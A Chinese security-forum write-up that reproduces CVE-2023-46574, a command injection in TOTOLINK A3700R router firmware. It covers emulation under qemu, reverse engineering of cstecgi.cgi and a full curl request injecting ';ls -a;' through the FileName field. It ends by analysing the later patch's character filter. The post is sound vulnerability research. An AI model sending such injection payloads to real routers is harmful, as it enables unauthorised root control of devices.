首页
社区
课程
招聘
[分享]复现TOTOLINK CVE-2023-46574,定位迭代版本补丁点
发表于: 5天前 627

[分享]复现TOTOLINK CVE-2023-46574,定位迭代版本补丁点

5天前
627

1、搭建 qemu mipsel 环境

sudo apt-get install schroot debootstrap
ubuntu22.04
debootstrap --arch=mipsel bookworm /iotconfig/debootstrap/mipsel 9c2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0K9i4u0J5L8%4u0K6i4K6u0W2j5h3I4A6P5i4g2F1i4K6u0W2j5$3!0E0i4K6u0r3k6r3g2T1K9h3q4F1

sudo apt update
sudo apt install qemu-user-static binfmt-support -y
ls /iotconfig/debootstrap/mipsel

搭建成功mipsel环境后,成功运行mipsel 架构的程序  

2、然后配置schroot

sudo vim /etc/schroot/chroot.d/mipsel.conf

[mipsel]
type=directory
directory=/iotconfig/debootstrap/mipsel/
users=root
groups=root
root-groups=root

可以看到已经配置成功了,schroot进入环境

*警告的具体含义解释

  • 第一个 W (Failed to change to directory...): 当你运行 schroot 命令时,它默认会尝试让你保持在当前所在的目录
    • 原因:在外部主机(Host)执行命令时所在的目录是 /iotconfig/debootstrap。进入 schroot 环境后,系统发现这个 mipsel 的小世界里没有/iotconfig/debootstrap 这个路径。
    • 结果:它没法把你带到那个不存在的文件夹里。
  • 中间的 I (The directory does not exist inside the chroot): 这是 Information(信息)。它是在建议:如果非要在某个特定目录运行,可以使用 --directory 参数。
  • 第二个 W (Falling back to directory '/root')
    • 原因:既然进不去原来的目录,schroot 总得给你找个落脚点。
    • 结果:它自动把你带到了当前用户(root)在环境内部的家目录,即 /root

3、解析固件源码

在kali中 binwalk -e TOTOLINK_A3700R_V9.1.2u.6165_20211012.web  

找到 cstecgi.cgi  文件 find . -name "cstecgi.cgi"

取出进入IDA pro9.0,程序为 MIPS  架构,进行反编译后定位到关键函数

  • 按下 Shift + F12 打开 Strings 窗口。
  • 在窗口内按 Ctrl + F,输入 FileName 进行搜索。
  • 双击搜到的 FileName 字符串,跳转到它在数据段的位置。
  • 在跳转后的位置,点击字符串变量名, aFilename_0,再次按 X 键。
  • 直接找到处理这个参数的函数,也就是漏洞函数。

经过查找为第三个函数

这个漏洞是 OS 命令注入

在 图片中,我们可以看到三个关键环节:

  1. 不受信任的输入 (Source):Var = (const char *)websGetVar(a1, "FileName", ""); 程序从 Web 请求中直接获取了用户提交的 FileName 参数。这意味着攻击者可以往这个变量里填入任何字符串
  2. 危险的函数调用 :doSystem("mv %s %s", Var, v38);doSystem 函数(底层通常调用 system())会将括号里的字符串直接交给操作系统的 Shell (命令行解释器) 去执行。
  3. 缺乏过滤:websGetVar 拿到字符串和 doSystem 执行命令之间,没有任何代码检查 Var 里面是否包含恶意字符(如 ;, |, &)。程序默认用户只会输入一个正常的文件名,这就是典型的**“过分信任用户输入”**。

程序逻辑将“数据”当成了“指令”去执行。  


4、进行固件模拟

sudo binwalk --run-as=root -Me TOTOLINK_A3700R_V9.1.2u.6165_20211012.web

查看目录,可以看到有个lighttpd文件夹,所以这里用的是lighttpd服务

lighttpd目录下找到了配置文件,来启动该文件

sudo cp -r squashfs-root /iotconfig/debootstrap/mipsel/root/

然后将squashfs-root复制到安装的mipsel系统上

进入mipsel系统,然后再chroot进入squashfs-root目录下

sudo schroot -c chroot:mipsel -u root
chroot squashfs-root/

然后直接启动服务即可,我这边需要先在/var/run目录下创建一个lighttpd.pid文件

mkdir /var/run
touch /var/run/lighttpd.pid
lighttpd -f lighttp/lighttpd.conf

遇到的报错 “opening pid-file failed: /var/run/lighttpd.pid No such file or directory”,是因为 lighttpd 服务在启动时需要一个地方来存放它的“身份证”——也就是 PID 文件。  

成功启动服务

5、尝试进行注入

因为没有设置密码,直接抓包空字符进入,这里在其他情况下也可以尝试爆破等方法进入

放行后看到虽然没有直接进入,但是可以直接看到地址d79K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5&6x3W2)9J5k6e0p5$3z5q4)9J5k6e0p5@1y4q4)9J5k6e0p5J5z5q4)9J5c8X3k6G2M7X3#2x3L8$3N6A6L8V1q4#2N6r3S2Q4x3X3g2Z5N6r3#2Q4x3@1k6S2N6i4c8Z5b7$3!0V1k6g2)9K6c8o6q4Q4x3U0k6S2L8i4m8Q4x3@1u0#2M7$3g2J5e0X3q4E0k6g2)9K6c8q4)9J5y4X3q4E0M7q4)9K6b7X3N6G2g2g2u0x3i4K6y4p5K9r3!0E0k6g2)9J5k6h3S2@1L8h3I4Q4x3U0k6S2L8i4m8Q4x3@1u0S2j5%4c8A6L8$3&6Q4x3@1c8D9L8$3N6A6L8R3`.`.直接访问即可

然后在此页面拿到session id:2:1768393668:2

拿到session id后直接在cstecgi.cgi存在漏洞处执行注入curl f1cK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5J5y4#2)9J5k6e0m8Q4x3X3f1H3i4K6u0W2x3g2)9J5c8X3y4Y4K9g2)9J5k6r3u0A6L8W2)9J5c8X3y4K6N6r3g2U0k6$3W2Q4x3X3g2U0k6$3V1`. -b "SESSION_ID=2:1768393668:2" -X POST -d '{"topicurl":"UploadFirmwareFile","FileName":";ls -a;"}'

可以看到利用成功


6、CVE复现总结

1. 漏洞根本原因:数据与指令的边界模糊

该漏洞属于典型的 OS 命令注入 (OS Command Injection)

  • 过分信任用户输入:程序通过 websGetVar 获取了名为 FileName 的参数值,并直接存入变量 Var 中。
  • 危险的命令拼接:程序随后调用 doSystem 函数(底层执行 system() 调用),将 Var 直接拼接进 mv %s %s 字符串中。
  • 缺乏过滤机制:在“获取输入”到“执行命令”之间,代码没有对 ;, |, &, $ 等 Shell 特殊字符进行任何过滤或转义。

2. 攻击手法:利用“截断”与“并行”

通过 curl 发送了一个精心构造的 POST 请求:

  • Payload 构造"FileName":";ls -a;"
  • 注入原理
    1. 程序原本打算执行:mv [文件名] /tmp/myImage.img
    2. 由于注入了分号 ;,Shell 将其解析为三个独立指令:
    • mv (无文件名参数,报错)
    • ls -a (你的攻击指令,成功执行并返回结果)
    • /tmp/myImage.img (路径报错)

3. 为什么需要取得 SESSION_ID?

在攻击命令中,-b "SESSION_ID=..." 是必须的。

  • 身份校验机制:路由器为了安全,不会允许任何匿名用户直接访问后台功能(如固件上传 UploadFirmwareFile)。
  • 会话绑定:当通过浏览器登录后,服务器会下发一个 SESSION_ID 存储在 Cookie 中。后续的每一个请求,服务器都会检查这个 ID 是否对应一个已登录的合法会话。
  • 结论:如果不提供合法的 SESSION_ID,Web 服务器(lighttpd)或 CGI 脚本在执行核心漏洞逻辑前就会直接拦截并返回“未授权”错误,也就无法触及到危险的 doSystem 代码。

4. 总结与反思:为什么这么攻击?

  • 隐蔽性:通过 Web API(如 cstecgi.cgi)进行攻击是远程控制设备最直接的路径。
  • 权限高:由于 Web 服务或 CGI 进程在嵌入式设备中通常以 root 权限运行,这意味着一旦实现命令注入,就直接拿到了系统的最高控制权。

参考链接:578K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4x3K6p5J5z5l9`.`.


7、尝试在新版本定位补丁点

同样获取cstecgi.cgi源码寻找漏洞

binwalk -e TOTOLINK_A3700R_V9.1.2u.6322_20220609.web
find . -name "cstecgi.cgi"

取得cstecgi.cgi文件后进入ida寻找漏洞函数

取出进入IDA pro9.0,程序为 MIPS  架构,进行反编译后同样定位到关键函数

  • 按下 Shift + F12 打开 Strings 窗口。
  • 在窗口内按 Ctrl + F,输入 FileName 进行搜索。
  • 双击搜到的 FileName 字符串,跳转到它在数据段的位置。
  • 在跳转后的位置,点击字符串变量名, aFilename_0,再次按 X 键,寻找交叉引用
  • 直接找到处理这个参数的函数,也就是漏洞函数。

定位到漏洞函数,但很明显2022版本的该路由器固件尝试了修复

维度

旧版本代码 (image_dfff94.png)

2022 新版本代码 (image_e22a50.png)

核心变量

使用 v38

存储路径。

使用 v45

存储路径。

逻辑保护

。获取 Var

后直接进行命令拼接。

新增了校验逻辑。在执行 doSystem

前插入了 if ( !Validity_check(Var) )

执行条件

只要代码运行到此处,必执行 mv

命令。

只有当 Validity_check(Var)

的返回结果满足条件时,才会执行 mv

逆向分析该Validity_check过滤函数,很明显,简单的注入,如上面的;间隔方法已经无法成功利用,会被check后被阻止:


1. 深度分析 Validity_check 函数

这个函数检查了以下字符和字符串:

  • 特殊字符 (strchr):;, &, |, ` (反引号), $, \n (换行符)。
  • 敏感指令 (strstr):.sh, iptables, telnetd

漏洞逻辑变化: 现在,程序会先调用 Validity_check(Var)。如果函数在 FileName 输入中发现了上述任何一个字符或字符串,它会返回一个非零值(True),导致 if ( !Validity_check(Var) ) 判断失败,从而跳过doSystem 的执行。  




[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 5天前 被mb_eoaxvopu编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回